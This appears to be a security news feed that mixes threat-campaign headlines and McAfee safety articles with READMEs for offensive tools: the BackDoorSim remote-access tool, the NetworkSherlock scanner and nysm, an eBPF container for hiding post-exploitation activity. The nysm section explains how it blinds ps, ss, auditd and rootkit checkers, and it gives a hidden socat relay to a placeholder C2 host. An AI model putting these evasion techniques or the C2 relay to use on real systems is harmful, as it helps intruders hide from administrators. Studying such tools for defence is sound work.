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New Backdoor Targeting European Officials Linked to Indian Diplomatic Events

A previously undocumented threat actor dubbed SPIKEDWINE has been observed targeting officials in European countries with Indian diplomatic missions using a new backdoor called WINELOADER. The adversary, according to a report from Zscaler ThreatLabz, used a PDF file in emails that purported to come from the Ambassador of India, inviting diplomatic staff to a wine-tasting

North Korean Hackers Targeting Developers with Malicious npm Packages

A set of fake npm packages discovered on the Node.js repository has been found to share ties with North Korean state-sponsored actors, new findings from Phylum show. The packages are named execution-time-async, data-time-utils, login-time-utils, mongodb-connection-utils, and mongodb-execution-utils. One of the packages in question, execution-time-async, masquerades as its legitimate

BackDoorSim - An Educational Into Remote Administration Tools

By: Zion3R


BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.


Disclaimer

This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.


Features
  • File Transfer: Upload and download files between server and client.
  • Screenshot Capture: Take screenshots from the client's system.
  • System Information Gathering: Retrieve detailed system and security software information.
  • Camera Access: Capture images from the client's webcam.
  • Notifications: Send and display notifications on the client system.
  • Help Menu: Easy access to command information and usage.

Installation

To set up BackdoorSim, you will need to install it on both the server and client machines.

  1. Clone the repository:

shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git

  1. Navigate to the project directory:

shell $ cd BackDoorSim

  1. Install the required dependencies:

shell $ pip install -r requirements.txt


Usage

After starting both the server and client, you can use the following commands in the server's command prompt:

  • upload [file_path]: Upload a file to the client.
  • download [file_path]: Download a file from the client.
  • screenshot: Capture a screenshot from the client.
  • sysinfo: Get system information from the client.
  • securityinfo: Get security software status from the client.
  • camshot: Capture an image from the client's webcam.
  • notify [title] [message]: Send a notification to the client.
  • help: Display the help menu.

Disclaimer

BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.


DepNot: RansomwareSim

If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool


BackdoorSim: An Educational into Remote Administration Tools

If you want to read our article about Backdoor


Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.


Contact

For any inquiries or further information, you can reach me through the following channels:



A New Age of Hacktivism

In the past 2 years, we have observed a significant surge in hacktivism activity due to ongoing wars and geopolitical conflicts in various regions. Since the war against Ukraine began, we have witnessed a notable mobilization of non-state and state-backed actors alike, forming new groups or joining existing hacker collectives.  We understand hacktivism as a form of computer hacking that is

Russian Hackers Target Ukraine with Disinformation and Credential-Harvesting Attacks

Cybersecurity researchers have unearthed a new influence operation targeting Ukraine that leverages spam emails to propagate war-related disinformation. The activity has been linked to Russia-aligned threat actors by Slovak cybersecurity company ESET, which also identified a spear-phishing campaign aimed at a Ukrainian defense company in October 2023 and a European Union agency in November 2023

New Report Reveals North Korean Hackers Targeting Defense Firms Worldwide

North Korean state-sponsored threat actors have been attributed to a cyber espionage campaign targeting the defense sector across the world. In a joint advisory published by Germany's Federal Office for the Protection of the Constitution (BfV) and South Korea's National Intelligence Service (NIS), the agencies said the goal of the attacks is to plunder advanced defense technologies in a "

Meta Warns of 8 Spyware Firms Targeting iOS, Android, and Windows Devices

Meta Platforms said it took a series of steps to curtail malicious activity from eight different firms based in Italy, Spain, and the United Arab Emirates (U.A.E.) operating in the surveillance-for-hire industry. The findings are part of its Adversarial Threat Report for the fourth quarter of 2023. The spyware targeted iOS, Android, and Windows devices. "Their various malware included

Russian-Linked Hackers Target 80+ Organizations via Roundcube Flaws

Threat actors operating with interests aligned to Belarus and Russia have been linked to a new cyber espionage campaign that likely exploited cross-site scripting (XSS) vulnerabilities in Roundcube webmail servers to target over 80 organizations. These entities are primarily located in Georgia, Poland, and Ukraine, according to Recorded Future, which attributed the intrusion set to a threat

Iranian Hackers Target Middle East Policy Experts with New BASICSTAR Backdoor

The Iranian-origin threat actor known as Charming Kitten has been linked to a new set of attacks aimed at Middle East policy experts with a new backdoor called BASICSTAR by creating a fake webinar portal. Charming Kitten, also called APT35, CharmingCypress, Mint Sandstorm, TA453, and Yellow Garuda, has a history of orchestrating a wide range of social engineering campaigns that cast a

Chinese Hackers Using Deepfakes in Advanced Mobile Banking Malware Attacks

A Chinese-speaking threat actor codenamed GoldFactory has been attributed to the development of highly sophisticated banking trojans, including a previously undocumented iOS malware called GoldPickaxe that's capable of harvesting identity documents, facial recognition data, and intercepting SMS. "The GoldPickaxe family is available for both iOS and Android platforms,"

Rhysida Ransomware Cracked, Free Decryption Tool Released

Cybersecurity researchers have uncovered an "implementation vulnerability" that has made it possible to reconstruct encryption keys and decrypt data locked by Rhysida ransomware. The findings were published last week by a group of researchers from Kookmin University and the Korea Internet and Security Agency (KISA). "Through a comprehensive analysis of Rhysida Ransomware, we identified an

4 Ways Hackers use Social Engineering to Bypass MFA

When it comes to access security, one recommendation stands out above the rest: multi-factor authentication (MFA). With passwords alone being simple work for hackers, MFA provides an essential layer of protection against breaches. However, it's important to remember that MFA isn't foolproof. It can be bypassed, and it often is.  If a password is compromised, there are several options

How to Protect Your Social Media Accounts

By: McAfee

Social media is part of our social fabric. So much so that over 56% of the global population are social media users to some degree or other. With all that sharing, conversing, and information passing between family and friends, social media can be a distinct digital extension of ourselves—making it important to know how you can protect your social media accounts from hacks and attacks. 

Beyond the sheer number of people who’re on social media, there’s also the amount of time we spend on it.  People worldwide spend an average of 147 minutes a day on social media. With users in the U.S. spending just over two hours on social media a day and users in the Philippines spending nearly four hours a day, that figure can vary widely. Yet it’s safe to say that a good portion of our day features time scrolling and thumbing through our social media feeds. 

Given how much we enjoy and rely on social media, now’s a fine time to give your social media settings and habits a closer look so that you can get the most out of it with less fuss and worry. Whether you’re using Facebook, Instagram, TikTok, or whatnot, here are several things you can do that can help keep you safe and secure out there: 

1. Set strong, unique passwords

Passwords mark square one in your protection, with strong and unique passwords across all your accounts forming primary line of defense. Yet with all the accounts we have floating around, juggling dozens of strong and unique passwords can feel like a task—thus the temptation to use (and re-use) simpler passwords. Hackers love this because one password can be the key to several accounts. Instead, try a password manager that can create those passwords for you and safely store them as well. Comprehensive security software will include one. 

2. Go private

Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy. 

3. Say “no” to strangers bearing friend requests

Be critical of the invitations you receive. Out-and-out strangers could be more than just a stranger, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q3 of 2021 alone, Facebook took action on 1.8 billion fake accounts. Reject such requests. 

4. Think twice before checking in

Nothing says “there’s nobody at home right now” like that post of you on vacation or sharing your location while you’re out on the town. In effect, such posts announce your whereabouts to a broad audience of followers (even a global audience, if you’re not posting privately, as called out above). Consider sharing photos and stories of your adventures once you’ve returned.  

5. The internet is forever

It’s a famous saying for a reason. Whether your profile is set to private or if you are using an app with “disappearing” messages and posts (like Snapchat), what you post can indeed be saved and shared again. It’s as simple as taking a screenshot. If you don’t want it out there, forever or otherwise, simply don’t post it. 

6. Watch out for phishing scams

We’re increasingly accustomed to the warnings about phishing emails, yet phishing attacks happen plenty on social media. The same rules apply. Don’t follow any links you get from strangers by way of instant or direct messengers. And keep your personal information close. Don’t pass out your email, address, or other info as well. Even those so-called “quiz” posts and websites can be ruses designed to steal bits and pieces of personal info that can be used as the basis of an attack. 

7. Also keep an eye out for scams of all kinds

Sadly, social media can also be a place where people pull a fast one. Get-rich-quick schemes, romance cons, and all kinds of imposters can set up shop in ads, posts, and even direct messages—typically designed to separate you from your personal information, money, or both. This is an entire topic to itself, and you can learn plenty more about quizzes and other identity theft scams to avoid on social media 

8. Review your tags

Some platforms such as Facebook allow users to review posts that are tagged with their profile names. Check your account settings and give yourself the highest degree of control over how and where your tags are used by others. This will help keep you aware of where you’re being mentioned by others and in what way. 

9. Protect yourself and your devices

Security software can protect you from clicking on malicious links while on social media while steering you clear of other threats like viruses, ransomware, and phishing attacks. It can look out for you as well, by protecting your privacy and monitoring your email, SSN, bank accounts, credit cards, and other personal information. With identity theft a rather commonplace occurrence today, security software is really a must. 

10. Check your Protection Score and see how safe you are

Now you can point to a number that shows you just how safe you are with our Protection Score. It’s an industry first, and it works by taking stock of your overall security and grading it on a scale of 0 to 1,000. From there, it calls out any weak spots and then walks you through the steps to shore it up with personalized guidance. This way, you’re always in the know about your security, privacy, and personal identity on social media and practically wherever else your travels take you online.

The post How to Protect Your Social Media Accounts appeared first on McAfee Blog.

Beware: Fake Facebook Job Ads Spreading 'Ov3r_Stealer' to Steal Crypto and Credentials

Threat actors are leveraging bogus Facebook job advertisements as a lure to trick prospective targets into installing a new Windows-based stealer malware codenamed Ov3r_Stealer. "This malware is designed to steal credentials and crypto wallets and send those to a Telegram channel that the threat actor monitors," Trustwave SpiderLabs said in a report shared with The Hacker News. Ov3r_Stealer

Mastodon Vulnerability Allows Hackers to Hijack Any Decentralized Account

The decentralized social network Mastodon has disclosed a critical security flaw that enables malicious actors to impersonate and take over any account. "Due to insufficient origin validation in all Mastodon, attackers can impersonate and take over any remote account," the maintainers said in a terse advisory. The vulnerability, tracked as CVE-2024-23832, has a severity rating of 9.4 out of

Russian APT28 Hackers Targeting High-Value Orgs with NTLM Relay Attacks

Russian state-sponsored actors have staged NT LAN Manager (NTLM) v2 hash relay attacks through various methods from April 2022 to November 2023, targeting high-value targets worldwide. The attacks, attributed to an "aggressive" hacking crew called APT28, have set their eyes on organizations dealing with foreign affairs, energy, defense, and transportation, as well as those involved with

Telegram Marketplaces Fuel Phishing Attacks with Easy-to-Use Kits and Malware

Cybersecurity researchers are calling attention to the "democratization" of the phishing ecosystem owing to the emergence of Telegram as an epicenter for cybercrime, enabling threat actors to mount a mass attack for as little as $230. "This messaging app has transformed into a bustling hub where seasoned cybercriminals and newcomers alike exchange illicit tools and insights creating a dark and

AllaKore RAT Malware Targeting Mexican Firms with Financial Fraud Tricks

Mexican financial institutions are under the radar of a new spear-phishing campaign that delivers a modified version of an open-source remote access trojan called AllaKore RAT. The BlackBerry Research and Intelligence Team attributed the activity to an unknown Latin America-based financially motivated threat actor. The campaign has been active since at least 2021. "Lures use Mexican Social

SystemBC Malware's C2 Server Analysis Exposes Payload Delivery Tricks

Cybersecurity researchers have shed light on the command-and-control (C2) server workings of a known malware family called SystemBC. "SystemBC can be purchased on underground marketplaces and is supplied in an archive containing the implant, a command-and-control (C2) server, and a web administration portal written in PHP," Kroll said in an analysis published last week. The risk

Cyber Threat Landscape: 7 Key Findings and Upcoming Trends for 2024

The 2023/2024 Axur Threat Landscape Report provides a comprehensive analysis of the latest cyber threats. The information combines data from the platform's surveillance of the Surface, Deep, and Dark Web with insights derived from the in-depth research and investigations conducted by the Threat Intelligence team. Discover the full scope of digital threats in the Axur Report 2023/2024. Overview

Iranian Hackers Masquerade as Journalists to Spy on Israel-Hamas War Experts

High-profile individuals working on Middle Eastern affairs at universities and research organizations in Belgium, France, Gaza, Israel, the U.K., and the U.S. have been targeted by an Iranian cyber espionage group called Mint Sandstorm since November 2023. The threat actor "used bespoke phishing lures in an attempt to socially engineer targets into downloading malicious files," the

There is a Ransomware Armageddon Coming for Us All

Generative AI will enable anyone to launch sophisticated phishing attacks that only Next-generation MFA devices can stop The least surprising headline from 2023 is that ransomware again set new records for a number of incidents and the damage inflicted. We saw new headlines every week, which included a who’s-who of big-name organizations. If MGM, Johnson Controls, Chlorox, Hanes Brands, Caesars

Getting off the Attack Surface Hamster Wheel: Identity Can Help

IT professionals have developed a sophisticated understanding of the enterprise attack surface – what it is, how to quantify it and how to manage it.  The process is simple: begin by thoroughly assessing the attack surface, encompassing the entire IT environment. Identify all potential entry and exit points where unauthorized access could occur. Strengthen these vulnerable points using

Nysm - A Stealth Post-Exploitation Container

By: Zion3R


A stealth post-exploitation container.

Introduction

With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:

  • bpftool
  • bpflist-bpfcc
  • ps
  • top
  • sockstat
  • ss
  • rkhunter
  • chkrootkit
  • lsof
  • auditd
  • etc...

All these tools go blind to what goes through nysm. It hides:

  • New eBPF programs
  • New eBPF maps ️
  • New eBPF links 
  • New Auditd generated logs 
  • New PIDs 着
  • New sockets 

Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.

 

Installation

Requirements

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

Linux headers

cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

Build

cd ./nysm/src/
make

Usage

nysm is a simple program to run before the intended command:

Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message

Examples

Run a hidden bash:

./nysm bash

Run a hidden ssh and remove ./nysm:

./nysm -r ssh user@domain

Run a hidden socat as a daemon and remove ./nysm:

./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

How it works

In general

As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.

To differentiate nysm events from the others, everything runs inside a seperated PID namespace.

Hide eBPF objects

bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.

As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.

To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.

In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.

Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().

Hide Auditd logs

Auditd receives its logs from recvfrom() which stores its messages in a buffer.

If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.

Hide PIDS

Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.

As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.

Hide sockets

Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.

Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.

These are collected from the connect() and bind() calls.

Limitations

Even with the best effort, nysm still has some limitations.

  • Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.

  • Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.

  • Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.

  • Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.

  • Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.

Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.



North Korea's Cyber Heist: DPRK Hackers Stole $600 Million in Cryptocurrency in 2023

Threat actors affiliated with the Democratic People's Republic of Korea (also known as North Korea) have plundered at least $600 million in cryptocurrency in 2023. The DPRK "was responsible for almost a third of all funds stolen in crypto attacks last year, despite a 30% reduction from the USD 850 million haul in 2022," blockchain analytics firm TRM Labs&nbsp;said&nbsp;last week. "Hacks

Decoy Microsoft Word Documents Used to Deliver Nim-Based Malware

A new phishing campaign is leveraging decoy Microsoft Word documents as bait to deliver a backdoor written in the&nbsp;Nim programming language. "Malware written in uncommon programming languages puts the security community at a disadvantage as researchers and reverse engineers' unfamiliarity can hamper their investigation," Netskope researchers Ghanashyam Satpathy and Jan Michael Alcantara&nbsp

Hackers Exploiting MS Excel Vulnerability to Spread Agent Tesla Malware

Attackers are weaponizing an old Microsoft Office vulnerability as part of phishing campaigns to distribute a strain of malware called&nbsp;Agent Tesla. The infection chains leverage decoy Excel documents attached in invoice-themed messages to trick potential targets into opening them and activate the exploitation of CVE-2017-11882 (CVSS score: 7.8), a memory corruption vulnerability in Office's

Are We Ready to Give Up on Security Awareness Training?

Some of you have already started budgeting for 2024 and allocating funds to security areas within your organization. It is safe to say that employee security awareness training is one of the expenditure items, too. However, its effectiveness is an open question with people still engaging in insecure behaviors at the workplace. Besides, social engineering remains one of the most prevalent attacks

NetworkSherlock - Powerful And Flexible Port Scanning Tool With Shodan

By: Zion3R


NetworkSherlock is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.


Features

  • Scans multiple IPs, IP ranges, and CIDR blocks.
  • Supports port scanning over TCP and UDP protocols.
  • Detailed banner grabbing feature.
  • Ping check for identifying reachable targets.
  • Multi-threading support for fast scanning operations.
  • Option to save scan results to a file.
  • Provides detailed version information.
  • Colorful console output for better readability.
  • Shodan integration for enhanced scanning capabilities.
  • Configuration file support for Shodan API key.

Installation

NetworkSherlock requires Python 3.6 or later.

  1. Clone the repository:
    git clone https://github.com/HalilDeniz/NetworkSherlock.git
  2. Install the required packages:
    pip install -r requirements.txt

Configuration

Update the networksherlock.cfg file with your Shodan API key:

[SHODAN]
api_key = YOUR_SHODAN_API_KEY

Usage

Port Scan Tool positional arguments: target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5, 192.168.1.0/24) options: -h, --help show this help message and exit -p PORTS, --ports PORTS Ports to scan (e.g. 1-1024, 21,22,80, or 80) -t THREADS, --threads THREADS Number of threads to use -P {tcp,udp}, --protocol {tcp,udp} Protocol to use for scanning -V, --version-info Used to get version information -s SAVE_RESULTS, --save-results SAVE_RESULTS File to save scan results -c, --ping-check Perform ping check before scanning --use-shodan Enable Shodan integration for additional information " dir="auto">
python3 networksherlock.py --help
usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target

NetworkSherlock: Port Scan Tool

positional arguments:
target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
192.168.1.0/24)

options:
-h, --help show this help message and exit
-p PORTS, --ports PORTS
Ports to scan (e.g. 1-1024, 21,22,80, or 80)
-t THREADS, --threads THREADS
Number of threads to use
-P {tcp,udp}, --protocol {tcp,udp}
Protocol to use for scanning
-V, --version-info Used to get version information
-s SAVE_RESULTS, --save-results SAVE_RESULTS
File to save scan results
-c, --ping-check Perform ping check before scanning
--use-shodan Enable Shodan integration for additional information

Basic Parameters

  • target: The target IP address(es), IP range, or CIDR block to scan.
  • -p, --ports: Ports to scan (e.g., 1-1000, 22,80,443).
  • -t, --threads: Number of threads to use.
  • -P, --protocol: Protocol to use for scanning (tcp or udp).
  • -V, --version-info: Obtain version information during banner grabbing.
  • -s, --save-results: Save results to the specified file.
  • -c, --ping-check: Perform a ping check before scanning.
  • --use-shodan: Enable Shodan integration.

Example Usage

Basic Port Scan

Scan a single IP address on default ports:

python networksherlock.py 192.168.1.1

Custom Port Range

Scan an IP address with a custom range of ports:

python networksherlock.py 192.168.1.1 -p 1-1024

Multiple IPs and Port Specification

Scan multiple IP addresses on specific ports:

python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443

CIDR Block Scan

Scan an entire subnet using CIDR notation:

python networksherlock.py 192.168.1.0/24 -p 80

Using Multi-Threading

Perform a scan using multiple threads for faster execution:

python networksherlock.py 192.168.1.1-192.168.1.5 -p 1-1024 -t 20

Scanning with Protocol Selection

Scan using a specific protocol (TCP or UDP):

python networksherlock.py 192.168.1.1 -p 53 -P udp

Scan with Shodan

python networksherlock.py 192.168.1.1 --use-shodan

Scan Multiple Targets with Shodan

python networksherlock.py 192.168.1.1,192.168.1.2 -p 22,80,443 -V --use-shodan

Banner Grabbing and Save Results

Perform a detailed scan with banner grabbing and save results to a file:

python networksherlock.py 192.168.1.1 -p 1-1000 -V -s results.txt

Ping Check Before Scanning

Scan an IP range after performing a ping check:

python networksherlock.py 10.0.0.1-10.0.0.255 -c

OUTPUT EXAMPLE

$ python3 networksherlock.py 10.0.2.12 -t 25 -V -p 21-6000 -t 25
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21-6000
Threads : 25
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
21 /tcp open telnet 220 (vsFTPd 2.3.4)
80 /tcp open http HTTP/1.1 200 OK
139 /tcp open netbios-ssn %SMBr
25 /tcp open smtp 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
23 /tcp open smtp #' #'
445 /tcp open microsoft-ds %SMBr
514 /tcp open shell
512 /tcp open exec Where are you?
1524/tcp open ingreslock ro ot@metasploitable:/#
2121/tcp open iprop 220 ProFTPD 1.3.1 Server (Debian) [::ffff:10.0.2.12]
3306/tcp open mysql >
5900/tcp open unknown RFB 003.003
53 /tcp open domain
---------------------------------------------

OutPut Example

$ python3 networksherlock.py 10.0.2.0/24 -t 10 -V -p 21-1000
********************************************
Scanning target: 10.0.2.1
Scanning IP : 10.0.2.1
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
53 /tcp open domain
********************************************
Scanning target: 10.0.2.2
Scanning IP : 10.0.2.2
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
445 /tcp open microsoft-ds
135 /tcp open epmap
********************************************
Scanning target: 10.0.2.12
Scanning IP : 10.0.2.12
Ports : 21- 1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
21 /tcp open ftp 220 (vsFTPd 2.3.4)
22 /tcp open ssh SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
23 /tcp open telnet #'
80 /tcp open http HTTP/1.1 200 OK
53 /tcp open kpasswd 464/udpcp
445 /tcp open domain %SMBr
3306/tcp open mysql >
********************************************
Scanning target: 10.0.2.20
Scanning IP : 10.0.2.20
Ports : 21-1000
Threads : 10
Protocol : tcp
---------------------------------------------
Port Status Service VERSION
22 /tcp open ssh SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9

Contributing

Contributions are welcome! To contribute to NetworkSherlock, follow these steps:

  1. Fork the repository.
  2. Create a new branch for your feature or bug fix.
  3. Make your changes and commit them.
  4. Push your changes to your forked repository.
  5. Open a pull request in the main repository.

Contact



MongoDB Suffers Security Breach, Exposing Customer Data

MongoDB on Saturday disclosed it's actively investigating a security incident that has led to unauthorized access to "certain" corporate systems, resulting in the exposure of customer account metadata and contact information. The American database software company&nbsp;said&nbsp;it first detected anomalous activity on December 13, 2023, and that it immediately activated its incident response

Webinar — Psychology of Social Engineering: Decoding the Mind of a Cyber Attacker

In the ever-evolving cybersecurity landscape, one method stands out for its chilling effectiveness – social engineering. But why does it work so well? The answer lies in the intricate dance between the attacker's mind and human psychology. Our upcoming webinar,&nbsp;"Think Like a Hacker, Defend Like a Pro,"&nbsp;highlights this alarming trend. We delve deep into social engineering, exploring its

End-to-End Encrypted Instagram and Messenger Chats: Why It Took Meta 7 Years

Mark Zuckerberg personally promised that the privacy feature would launch by default on Messenger and Instagram chat. WIRED goes behind the scenes of the company’s colossal effort to get it right.

Hacking the Human Mind: Exploiting Vulnerabilities in the 'First Line of Cyber Defense'

Humans are complex beings with consciousness, emotions, and the capacity to act based on thoughts. In the ever-evolving realm of cybersecurity, humans consistently remain primary targets for attackers. Over the years, these attackers have developed their expertise in exploiting various human qualities, sharpening their skills to manipulate biases and emotional triggers with the objective of

Meta Launches Default End-to-End Encryption for Chats and Calls on Messenger

Meta has officially begun to&nbsp;roll out&nbsp;support for end-to-end encryption (E2EE) in Messenger for personal calls and one-to-one personal messages by default in what it called the "most significant milestone yet." "This isn't a routine security update: we rebuilt the app from the ground up, in close consultation with privacy and safety experts," Loredana Crisan, vice president of

Atlassian Releases Critical Software Fixes to Prevent Remote Code Execution

Atlassian has released software fixes to address&nbsp;four critical flaws&nbsp;in its software that, if successfully exploited, could result in remote code execution. The list of vulnerabilities is below - CVE-2022-1471&nbsp;(CVSS score: 9.8) - Deserialization vulnerability in&nbsp;SnakeYAML library&nbsp;that can lead to remote code execution in multiple products CVE-2023-22522&nbsp;(CVSS score

Russia's AI-Powered Disinformation Operation Targeting Ukraine, U.S., and Germany

The Russia-linked influence operation called Doppelganger has targeted Ukrainian, U.S., and German audiences through a combination of inauthentic news sites and social media accounts. These campaigns are designed to amplify content designed to undermine Ukraine as well as propagate anti-LGBTQ+ sentiment, U.S. military competence, and Germany's economic and social issues, according to a new

Parents: Are Your Kids Ignoring the Danger of Dating Apps?

By: McAfee

Technology has permeated almost every aspect of our lives, including our romantic involvements. This is especially evident in the increasing prevalence of dating apps among teenagers. While these platforms can offer exciting opportunities for meeting new people and exploring romantic interests, they also present a considerable risk, especially to a vulnerable age group.

As a parent, you might feel caught in a dilemma. On one hand, you want to respect your teen’s privacy and independence. On the other, you worry about the potential dangers lurking behind these digital platforms. This article aims to shed light on the risks associated with teenage use of dating apps and offers practical advice on how to navigate this tricky territory.

The Appeal of Dating Apps for Teens

Before we delve into the potential harm associated with dating apps, it’s important to comprehend why they are increasingly popular among teenagers. Essentially, these platforms provide an easy and convenient way for teens to connect with others, particularly during a pandemic when physical interactions are limited.

Moreover, dating apps may seem enticing due to their perceived freedom and anonymity. They allow teens to explore their own identities and relationships without the immediate scrutiny or judgment inherent in offline social settings. Such apps also hold the promise of romance and excitement, feeding into the natural curiosity and development of adolescents.

The Dangers of Dating Apps

While dating apps can help in forging connections, they also have a darker side that cannot be ignored. One of the main issues is that they often cater to an adult audience, exposing teenagers to mature content and interactions they might not be equipped to handle. This could include explicit sexual content, cyberbullying, or even predatory behavior.

Further, many apps do not verify users’ ages, making it easy for older individuals to interact with younger users – a practice that can potentially lead to grooming and exploitation. While some might argue that ‘age is just a number,’ when it comes to online safety, even a few years can make a significant difference. A 19-year-old chatting with a 14-year-old might not seem like a big deal, but when you factor in the vast differences in maturity and life experience, the dynamic becomes more concerning.

Dig Deeper: AI Goes Dating: McAfee Study Shows 1 in 3 Men Plan to Use Artificial Intelligence to Write Love Letters this Valentine’s Day

The Implications of Online Privacy and Data Security

In addition to the immediate dangers of inappropriate content and interactions, the use of dating apps also raises serious concerns about online privacy and data security. These platforms usually require a significant amount of personal information from users — everything from their name and location to personal preferences and pictures.

This data can be misused, leading to identity theft, online stalking, or other forms of cybercrime. Also, once information is shared online, it becomes almost impossible to completely erase it. A seemingly innocent picture or remark can resurface years later, potentially affecting future career prospects or personal relationships.

How to Protect Your Kids Against the Dangers of Dating Apps

Dating apps have become increasingly prevalent, opening up new avenues for meeting people. While these platforms can be a way to connect, they also pose potential dangers, especially for young users. As a parent, it’s crucial to be proactive in safeguarding your kids from the risks associated with dating apps. This guide will provide you with essential tips and insights on how to protect your children and educate them about responsible online behavior, ensuring their safety in the world of digital dating:

Navigate the Digital Landscape Through Communication

Confronting your teen about the risks of dating apps can be a daunting task, especially if you are met with resistance or the classic “You just don’t understand” retort. So, how can you approach this subject effectively? One of the most crucial steps is to maintain open lines of communication.

Encourage your teen to share their experiences online, and assure them that they can come to you with their concerns or fears without judgment. Regularly discussing online safety might seem repetitive, but it is a crucial aspect of ensuring your child is well-equipped to navigate the online world safely and responsibly.

Remember, banning or strictly controlling internet use might seem like the easiest solution, but it can backfire by causing your teen to become more secretive or rebellious. Instead, strive to cultivate an environment where your teen feels comfortable discussing their online activities, helping them understand the potential risks and consequences.

McAfee Pro Tip: Balancing screen time and healthy device use is a constant challenge for parents. While devices connect kids to identity and peer acceptance, they also open the door to issues like cyberbullying, predators, risky behavior, and self-image struggles. We advise you to find and identify the right time to implement parental controls. 

Teach responsible Online Behavior

The next step after open communication is teaching responsible online behavior. It is essential to educate our children on the basic principles of online safety. This includes understanding privacy settings, the dangers of sharing personal information, and the importance of reporting any suspicious activity.

Moreover, explaining the permanence of internet actions can help teens grasp the seriousness of their online conduct. Highlight real-life examples of individuals who have faced the consequences due to inappropriate online behavior to drive your points home.

Be Informed and Updated

